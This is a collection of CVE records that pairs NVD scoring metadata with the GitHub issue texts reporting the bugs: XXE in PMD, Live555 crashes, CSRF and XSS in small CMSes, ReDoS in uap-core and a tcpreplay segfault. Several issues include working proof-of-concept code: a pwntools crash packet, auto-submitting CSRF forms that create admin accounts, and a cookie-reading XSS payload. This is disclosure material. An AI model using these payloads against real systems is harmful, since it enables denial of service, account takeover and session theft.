This issue is for future reference. As part of an unrelated security concern discussion regarding a possible remote code execution (which was discarded as impossible) on a [separate issue](https://github.com/pmd/pmd/issues/532), I found that our XML parsing wasn't hardened, allowing for XXE attacks. When PMD is run, the ruleset XMLs were parsed with the default Java parser settings, which allowed an attacker to perform an XXE attack. Rulesets can be either local files, or accessed through the network over http / https. So, depending on the context, this attack could require physical access to the machine, or be achieved through a man-in-the-middle attack. The XXE attack can be used to perform information disclosure on the developer's machine, CI servers or other infrastructure running PMD; as well as denial of service attacks and request forgery. All PMD versions up to PMD 6.0.0 are vulnerable. A fix was produced in https://github.com/pmd/pmd/pull/592 following [OWASP XXE Prevention cheatsheet](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java), making all PMD 6 releases and later safe.

[core] Advisory - XXE attack on ruleset parsing

https://api.github.com/repos/pmd/pmd/issues/1650/comments

0

2019-02-11T11:58:33Z

2019-02-11T11:58:40Z

https://github.com/pmd/pmd/issues/1650

408,748,725

1,650

174

CVE-2019-7732

2019-02-11T17:29:00.443

In Live555 0.95, a setup packet can cause a memory leak leading to DoS because, when there are multiple instances of a single field (username, realm, nonce, uri, or response), only the last instance can ever be freed.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/rgaufman/live555/issues/20" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/rgaufman/live555/issues/20" } ]

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[ "401" ]

401

https://github.com/rgaufman/live555/issues/20

[ "Third Party Advisory" ]

github.com

[ "rgaufman", "live555" ]

In the lastest version of live555, there is a memory leak issue. The attacker can make the server crash with this issue. when parse the `setup` packet with many `username` fileds, the value of username will be duplicated many times at [1]. The pointers of username value can't be freed ever, except for the last one. The fileds `realm` `nonce` `uri` `response` have the same problem. ```c static Boolean parseAuthorizationHeader(char const* buf, char const*& username, char const*& realm, char const*& nonce, char const*& uri, char const*& response) { // Initialize the result parameters to default values: username = realm = nonce = uri = response = NULL; // First, find "Authorization:" while (1) { if (*buf == '\0') return False; // not found if (_strncasecmp(buf, "Authorization: Digest ", 22) == 0) break; ++buf; } // Then, run through each of the fields, looking for ones we handle: char const* fields = buf + 22; while (*fields == ' ') ++fields; char* parameter = strDupSize(fields); char* value = strDupSize(fields); while (1) { value[0] = '\0'; if (sscanf(fields, "%[^=]=\"%[^\"]\"", parameter, value) != 2 && sscanf(fields, "%[^=]=\"\"", parameter) != 1) { break; } if (strcmp(parameter, "username") == 0) { username = strDup(value); //[1] } else if (strcmp(parameter, "realm") == 0) { realm = strDup(value); } else if (strcmp(parameter, "nonce") == 0) { nonce = strDup(value); } else if (strcmp(parameter, "uri") == 0) { uri = strDup(value); } else if (strcmp(parameter, "response") == 0) { response = strDup(value); } fields += strlen(parameter) + 2 /*="*/ + strlen(value) + 1 /*"*/; while (*fields == ',' || *fields == ' ') ++fields; // skip over any separating ',' and ' ' chars if (*fields == '\0' || *fields == '\r' || *fields == '\n') break; } delete[] parameter; delete[] value; return True; } ```

There is a memory leak in function parseAuthorizationHeader, which can cause a DoS

https://api.github.com/repos/rgaufman/live555/issues/20/comments

2

2019-02-11T04:57:50Z

2019-05-12T05:59:47Z

https://github.com/rgaufman/live555/issues/20

408,634,998

20

175

CVE-2019-7733

2019-02-11T17:29:00.490

In Live555 0.95, there is a buffer overflow via a large integer in a Content-Length HTTP header because handleRequestBytes has an unrestricted memmove.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/rgaufman/live555/issues/21" }, { "source": "cve@mitre.org", "tags": null, "url": "https://security.gentoo.org/glsa/202005-06" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/rgaufman/live555/issues/21" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": null, "url": "https://security.gentoo.org/glsa/202005-06" } ]

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[ "190" ]

190

https://github.com/rgaufman/live555/issues/21

[ "Exploit", "Third Party Advisory" ]

github.com

[ "rgaufman", "live555" ]

When parse the request packet in function handleRequestBytes, the code don't check the `content-length`, and use it in memmove. Finally cause the buff overflow. ```c unsigned requestSize = (fLastCRLF+4-fRequestBuffer) + contentLength; numBytesRemaining = fRequestBytesAlreadySeen - requestSize; resetRequestBuffer(); // to prepare for any subsequent request if (numBytesRemaining > 0) { memmove(fRequestBuffer, &fRequestBuffer[requestSize], numBytesRemaining); newBytesRead = numBytesRemaining; } ``` There is a `content-length` check, but it only assigns `parseSucceeded` to false. This can't avoid the `memmove`. ```c Boolean parseSucceeded = parseRTSPRequestString((char*)fRequestBuffer, fLastCRLF+2 - fRequestBuffer, cmdName, sizeof cmdName, urlPreSuffix, sizeof urlPreSuffix, urlSuffix, sizeof urlSuffix, cseq, sizeof cseq, sessionIdStr, sizeof sessionIdStr, contentLength); fLastCRLF[2] = '\r'; // restore its value // Check first for a bogus "Content-Length" value that would cause a pointer wraparound: if (tmpPtr + 2 + contentLength < tmpPtr + 2) { #ifdef DEBUG fprintf(stderr, "parseRTSPRequestString() returned a bogus \"Content-Length:\" value: 0x%x (%d)\n", contentLength, (int)contentLength); #endif parseSucceeded = False; } ``` I can make the server crash with a simple packet. ```python from pwn import * p1 = remote("IP", Port) pl = "OPTIONS rtsp://10.113.214.93:8554/a.mkv RTSP/1.0\r\nCSeq: 1 \r\nUser-Agent: Lavf55.37.102\r\n" pl += "Content-Length: 4294927296\r\n\r\n" p1.send(pl) ```

There is a buffer overflow which can lead to dos in live555 v0.95

https://api.github.com/repos/rgaufman/live555/issues/21/comments

4

2019-02-11T05:37:29Z

2020-01-11T08:20:23Z

https://github.com/rgaufman/live555/issues/21

408,640,875

21

176

CVE-2019-7737

2019-02-11T21:29:00.367

A CSRF vulnerability was found in Verydows v2.0 that can add an admin account via index.php?m=backend&c=admin&a=add&step=submit.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/Verytops/verydows/issues/10" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/Verytops/verydows/issues/10" } ]

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[ "352" ]

352

https://github.com/Verytops/verydows/issues/10

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Verytops", "verydows" ]

A CSRF vulnerability was found in this cms. Logged-in administrator user may add another administrator account by clicking following POC `<form action="http://thewind/verydows/index.php?m=backend&c=admin&a=add&step=submit" id="test" method="post"> ` `  ` ` <input type=text name="username" value="TomAPU" /> ` ` <input type=text name="password" value="123456" /> ` ` <input type=text name="resetpwd" value="1" /> ` `<input type=text name="repassword" value="123456" /> ` ` <input type=text name="name" value="TomAPU" /> ` ` <input type=text name="email" value="admin@pornhub.com" /> ` ` </form> ` `<script> ` ` var f=document.getElementById("test"); ` ` f.submit(); ` `</script>`

CSRF Vulnerability that can add admin user

https://api.github.com/repos/Verytops/verydows/issues/10/comments

1

2019-02-11T15:44:47Z

2019-03-04T16:36:09Z

https://github.com/Verytops/verydows/issues/10

408,843,743

10

177

CVE-2019-7738

2019-02-11T21:29:00.413

C.P.Sub before 5.3 allows CSRF via a manage.php?p=article_del&id= URI.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5.8, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 4.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/cooltey/C.P.Sub/commit/b2be52fd89b6fd4d69d63d504bc11742cd679ebe" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cooltey/C.P.Sub/issues/3" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/cooltey/C.P.Sub/commit/b2be52fd89b6fd4d69d63d504bc11742cd679ebe" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cooltey/C.P.Sub/issues/3" } ]

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[ "352" ]

352

https://github.com/cooltey/C.P.Sub/issues/3

[ "Exploit", "Third Party Advisory" ]

github.com

[ "cooltey", "C.P.Sub" ]

Hey , C.P.Sub In your Background admin delete Article section, did not produce relevant token verification source caused CSRF, and the "get" parameter value is very dangerous. List： **http://website/manage.php?p=article_list** Poc Payload： ** > GET /manage.php?p=article_del&id=ID HTTP/1.1 > Host: your_website > Upgrade-Insecure-Requests: 1 > User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 > Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 > Referer: http://127.0.0.1/456/manage.php?p=article_list > Accept-Encoding: gzip, deflate > Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7 > Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=test%7C1537587372%7CgZf4275f8FC9rh5rffBvPrfPZwQBwSdtTLoKtW1JdQ6%7C4350d349b75ea62d1bbd963b4ee5460a95206b92a5df2dd7899ff7ccdc51bea3; wp-settings-1=mfold%3Do; wp-settings-time-1=1537414573; cerber_groove=49d7bce85e1b8082ab6d6cdf0854abc8; cerber_groove_x_Ad7onvqFrh3GYs8jQ1I24UyDpVRC=G0c9tWNuhQ4Z8azbyspmHrx7fYE5XM; _awtvW=Zqmk3E; gXSlbZOPaVqTWrR=%5DjCLPER7IhSHZkD; tUAnShmrCET=gLvmBVQPSwn; AJeZVoHYa=Gd3nvWzpe; PHPSESSID=hbdcrh6cj6jgl9v4jo5gedbcp6 > Connection: close ![default](https://user-images.githubusercontent.com/40033142/45833859-582d9280-bd38-11e8-836b-51fb03d19bf9.PNG) ** Poc Payload： ``` <html> <head> <title>CSRF</title> </head> <body> <script>history.pushState('', '', '/')</script> <form action="http://website/manage.php"> <input type="hidden" name="p" value="article_del" /> <input type="hidden" name="id" value="2" /> <input type="submit" value="Hello" /> </form> </body> </html> ``` You can see that after obtaining the parameters of the direct splicing instructions, also echo the relevant commands, no relevant rigorous filter inspection caused the vulnerability： ![default](https://user-images.githubusercontent.com/40033142/45834192-236e0b00-bd39-11e8-8376-1e2ffad9ba72.PNG)

CSRF - Delete an announcement article arbitrarily

https://api.github.com/repos/cooltey/C.P.Sub/issues/3/comments

2

2018-09-20T16:50:57Z

2019-02-11T07:45:40Z

https://github.com/cooltey/C.P.Sub/issues/3

362,274,735

3

178

CVE-2019-7753

2019-02-12T12:29:00.203

Verydows 2.0 has XSS via the index.php?m=api&c=stats&a=count referrer parameter.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/Verytops/verydows/issues/11" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/Verytops/verydows/issues/11" } ]

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[ "79" ]

79

https://github.com/Verytops/verydows/issues/11

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Verytops", "verydows" ]

In page /verydows/index.php?m=api&c=stats&a=count where users' visiting are logged, we can modify the POST parameter "referrer" which will be shown without filtering to administrator. As a result, hacker can construct a XSS payload to steal admin's cookies! payload: ![2019-02-12-173139_718x576_scrot](https://user-images.githubusercontent.com/44659204/52626149-8a10e280-2eed-11e9-8cb5-35697bc6a83f.png) result: ![2019-02-12-173211_1031x435_scrot](https://user-images.githubusercontent.com/44659204/52626183-97c66800-2eed-11e9-8ba2-d39cd826e4ac.png)

XSS vulnerability which can steal admin's cookies or more!

https://api.github.com/repos/Verytops/verydows/issues/11/comments

1

2019-02-12T09:43:29Z

2019-03-04T15:56:29Z

https://github.com/Verytops/verydows/issues/11

409,206,174

11

179

CVE-2018-20164

2019-02-13T14:29:00.240

An issue was discovered in regex.yaml (aka regexes.yaml) in UA-Parser UAP-Core before 0.6.0. A Regular Expression Denial of Service (ReDoS) issue allows remote attackers to overload a server by setting the User-Agent header in an HTTP(S) request to a value containing a long digit string. (The UAP-Core project contains the vulnerability, propagating to all implementations.)

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[ { "source": "cve@mitre.org", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/ua-parser/uap-core/commit/010ccdc7303546cd22b9da687c29f4a996990014" }, { "source": "cve@mitre.org", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/ua-parser/uap-core/commit/156f7e12b215bddbaf3df4514c399d683e6cdadc" }, { "source": "cve@mitre.org", "tags": null, "url": "https://github.com/ua-parser/uap-core/issues/332" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://www.x41-dsec.de/lab/advisories/x41-2018-009-uaparser/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/ua-parser/uap-core/commit/010ccdc7303546cd22b9da687c29f4a996990014" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/ua-parser/uap-core/commit/156f7e12b215bddbaf3df4514c399d683e6cdadc" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": null, "url": "https://github.com/ua-parser/uap-core/issues/332" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://www.x41-dsec.de/lab/advisories/x41-2018-009-uaparser/" } ]

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[ "185" ]

185

https://github.com/ua-parser/uap-core/issues/332

null

github.com

[ "ua-parser", "uap-core" ]

Hi! We are happy users of uap-core via https://github.com/ua-parser/uap-python, but we have recently noticed that some regexes may lead to excessive backtracking. The regex that caused some issue for us is the following: ^(.*)/(\d+)\.?(\d+)?.?(\d+)?.?(\d+)? CFNetwork A simple python script like the following hangs on my laptop for several minutes: ``` user_agent = "Mozilla/5.0 (X11; Linux x86_64_128) AppleWebKit/11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111.111111111111111111111111111111111111111111111111111111111111111111111111 (KHTML, like Gecko) Linux/222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222" import re pattern = re.compile(r'^(.*)/(\d+)\.?(\d+)?.?(\d+)?.?(\d+)? CFNetwork') pattern.search(user_agent) ``` The main problem seems to be backtracking caused by the various blocks with .?, that doesn't happen if the regex is split into multiple ones for example: ``` ^(.*)/(\d+) CFNetwork ^(.*)/(\d+)\.(\d+)? CFNetwork ^(.*)/(\d+)\.(\d+)\.(\d+)? CFNetwork ^(.*)/(\d+)\.(\d+)\.(\d+)\.?(\d+)? CFNetwork ``` The example that I brought up is of course a corner case, but even shorter strings with the same format can cause slow downs in parsing or hanging. It would be great to find a solution that is probably more verbose but that doesn't lead to these issues. Thanks in advance! Luca

Performance issue with backtracking caused by some regexes

https://api.github.com/repos/ua-parser/uap-core/issues/332/comments

4

2018-07-30T13:42:04Z

2019-01-03T05:45:09Z

https://github.com/ua-parser/uap-core/issues/332

345,763,182

332

180

CVE-2019-8334

2019-02-13T16:29:00.407

An issue was discovered in SchoolCMS 2.3.1. There is an XSS vulnerability via index.php?a=Index&c=Channel&m=Home&viewid=[XSS].

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/gongfuxiang/schoolcms/issues/1" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/gongfuxiang/schoolcms/issues/1" } ]

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[ "79" ]

79

https://github.com/gongfuxiang/schoolcms/issues/1

[ "Exploit", "Third Party Advisory" ]

github.com

[ "gongfuxiang", "schoolcms" ]

There is two xss vulnerability

https://api.github.com/repos/gongfuxiang/schoolcms/issues/1/comments

1

2019-02-13T07:43:01Z

2019-02-13T07:49:47Z

https://github.com/gongfuxiang/schoolcms/issues/1

409,668,186

1

181

CVE-2019-8347

2019-02-15T15:29:00.437

BEESCMS 4.0 has a CSRF vulnerability to add arbitrary VIP accounts via the admin/admin_member.php?action=add&nav=add_web_user&admin_p_nav=user URI.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/source-trace/beescms/issues/4" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/source-trace/beescms/issues/4" } ]

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[ "352" ]

352

https://github.com/source-trace/beescms/issues/4

[ "Exploit", "Third Party Advisory" ]

github.com

[ "source-trace", "beescms" ]

After the administrator logged in, open the following one page. POC： ``` <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://127.0.0.1/admin/admin_member.php?nav=add_web_user&admin_p_nav=user" method="POST" enctype="multipart/form-data"> <input type="hidden" name="member_user" value="test" /> <input type="hidden" name="member_password" value="test" /> <input type="hidden" name="member_nich" value="test" /> <input type="hidden" name="member_purview" value="2" /> <input type="hidden" name="member_name" value="test" /> <input type="hidden" name="member_mail" value="admin@se7ensec.cn" /> <input type="hidden" name="member_tel" value="" /> <input type="hidden" name="is_disable" value="0" /> <input type="hidden" name="action" value="save_member" /> <input type="hidden" name="submit" value="?¡®?®" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` ![1](https://user-images.githubusercontent.com/24263756/52782497-2ec82700-308a-11e9-95d8-229916fdfbb1.png) [http://127.0.0.1/admin/admin_member.php?nav=list_web_user&admin_p_nav=user](http://127.0.0.1/admin/admin_member.php?nav=list_web_user&admin_p_nav=user) ![2](https://user-images.githubusercontent.com/24263756/52782505-34be0800-308a-11e9-9af3-5a6a87e8654f.png)

There is a CSRF vulnerability that can add arbitrary VIP accounts

https://api.github.com/repos/source-trace/beescms/issues/4/comments

0

2019-02-14T10:56:52Z

2019-02-14T10:57:44Z

https://github.com/source-trace/beescms/issues/4

410,242,427

4

182

CVE-2019-8363

2019-02-16T22:29:00.427

Verydows 2.0 has XSS via the index.php?c=main a parameter, as demonstrated by an a=index[XSS] value.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/Verytops/verydows/issues/12" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/Verytops/verydows/issues/12" } ]

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[ "79" ]

79

https://github.com/Verytops/verydows/issues/12

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Verytops", "verydows" ]

Environment installed from verydows-master In page localhost/index.php?c=main&a=index, the Get function can change the function used in PHP, the user/attacker can modify the parament and add the script which will be shown without filtering. They can use the script to steal the cookie or some things worse Payload used: <script>alert(document.cookie)</script> Affected URL: http://localhost/index.php?c=main&a=index%3Cscript%3Ealert(document.cookie)%3C/script%3E Navigate to the Affected URL, Payload would be triggered. Payload used - `<script>alert(document.cookie);</script>` * Navigate to the Affected URL, Payload would be triggered. ![image](https://user-images.githubusercontent.com/45511549/52755947-a436e780-2ff7-11e9-90e3-e30c44beac5d.png)

Reflected Cross Site Scripting(XSS)-index.php

https://api.github.com/repos/Verytops/verydows/issues/12/comments

1

2019-02-14T01:28:45Z

2019-03-04T15:36:26Z

https://github.com/Verytops/verydows/issues/12

410,082,490

12

183

CVE-2019-8376

2019-02-17T02:29:00.223

An issue was discovered in Tcpreplay 4.3.1. A NULL pointer dereference occurred in the function get_layer4_v6() located at get.c. This can be triggered by sending a crafted pcap file to the tcpreplay-edit binary. It allows an attacker to cause a Denial of Service (Segmentation fault) or possibly have unspecified other impact.

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[ "476" ]

476

https://github.com/appneta/tcpreplay/issues/537

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "appneta", "tcpreplay" ]

**Description** - we observed a NULL pointer dereference occured in function get_layer4_v6 () located at get.c .The same be triggered by sending a crafted pcap file to the tcpreplay-edit binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. **Command** - tcpreplay-edit -r 80:84 -s 20 -b -C -m 1500 -P --oneatatime -i $INTERFACE $POC **POC** - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/tcpreplay/NP_REPL?raw=true) **Debug** - **GDB** - ``` Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0 $rbx : 0x00005555557b7bb8 → 0x0000337330706e65 ("enp0s3"?) $rcx : 0xfb $rdx : 0x334 $rsp : 0x00007fffffffd8f0 → 0x000000fbffffd940 $rbp : 0x00007fffffffd920 → 0x00007fffffffd990 → 0x00007fffffffd9d0 → 0x00007fffffffda70 → 0x00007fffffffdbc0 → 0x00007fffffffdd10 → 0x00007fffffffdd40 → 0x00007fffffffddd0 $rsi : 0x123 $rdi : 0x00005555557be236 → 0x6e0000000000cb00 $rip : 0x000055555557674a → <get_layer4_v6+222> movzx eax, BYTE PTR [rax] $r8 : 0x2f $r9 : 0x00005555557be200 → 0x0000000000000000 $r10 : 0x00005555557b9700 → 0x0000000000000000 $r11 : 0x00007ffff78d6000 → <__fread_chk+0> push r13 $r12 : 0x00007ffff7bbb954 → 0x6800424d30314e45 ("EN10MB"?) $r13 : 0x00007fffffffe2f0 → 0x000000000000000e $r14 : 0x0 $r15 : 0x0 $eflags: [zero CARRY PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffd8f0│+0x0000: 0x000000fbffffd940 ← $rsp 0x00007fffffffd8f8│+0x0008: 0x00005555557be20e → 0x0000322ffb000062 ("b"?) 0x00007fffffffd900│+0x0010: 0x0000000000000000 0x00007fffffffd908│+0x0018: 0x000001230000002a ("*"?) 0x00007fffffffd910│+0x0020: 0x00005555557be236 → 0x6e0000000000cb00 0x00007fffffffd918│+0x0028: 0x0000000000000000 0x00007fffffffd920│+0x0030: 0x00007fffffffd990 → 0x00007fffffffd9d0 → 0x00007fffffffda70 → 0x00007fffffffdbc0 → 0x00007fffffffdd10 → 0x00007fffffffdd40 → 0x00007fffffffddd0 ← $rbp 0x00007fffffffd928│+0x0038: 0x00005555555695b0 → <do_checksum+224> mov rdx, rax ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x55555557673d <get_layer4_v6+209> call 0x555555576798 <get_ipv6_next> 0x555555576742 <get_layer4_v6+214> mov QWORD PTR [rbp-0x8], rax 0x555555576746 <get_layer4_v6+218> mov rax, QWORD PTR [rbp-0x8] → 0x55555557674a <get_layer4_v6+222> movzx eax, BYTE PTR [rax] 0x55555557674d <get_layer4_v6+225> mov BYTE PTR [rbp-0x19], al 0x555555576750 <get_layer4_v6+228> mov rax, QWORD PTR [rbp-0x8] 0x555555576754 <get_layer4_v6+232> mov QWORD PTR [rbp-0x10], rax 0x555555576758 <get_layer4_v6+236> jmp 0x555555576791 <get_layer4_v6+293> 0x55555557675a <get_layer4_v6+238> mov eax, 0x0 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:get.c+410 ──── 405 case TCPR_IPV6_NH_DESTOPTS: 406 case TCPR_IPV6_NH_HBH: 407 dbgx(3, "Going deeper due to extension header 0x%02X", proto); 408 maxlen = len - (int)((u_char *)ip6_hdr - (u_char *)next); 409 exthdr = get_ipv6_next(next, maxlen); // exthdr=0x00007fffffffd918 → 0x0000000000000000 → 410 proto = 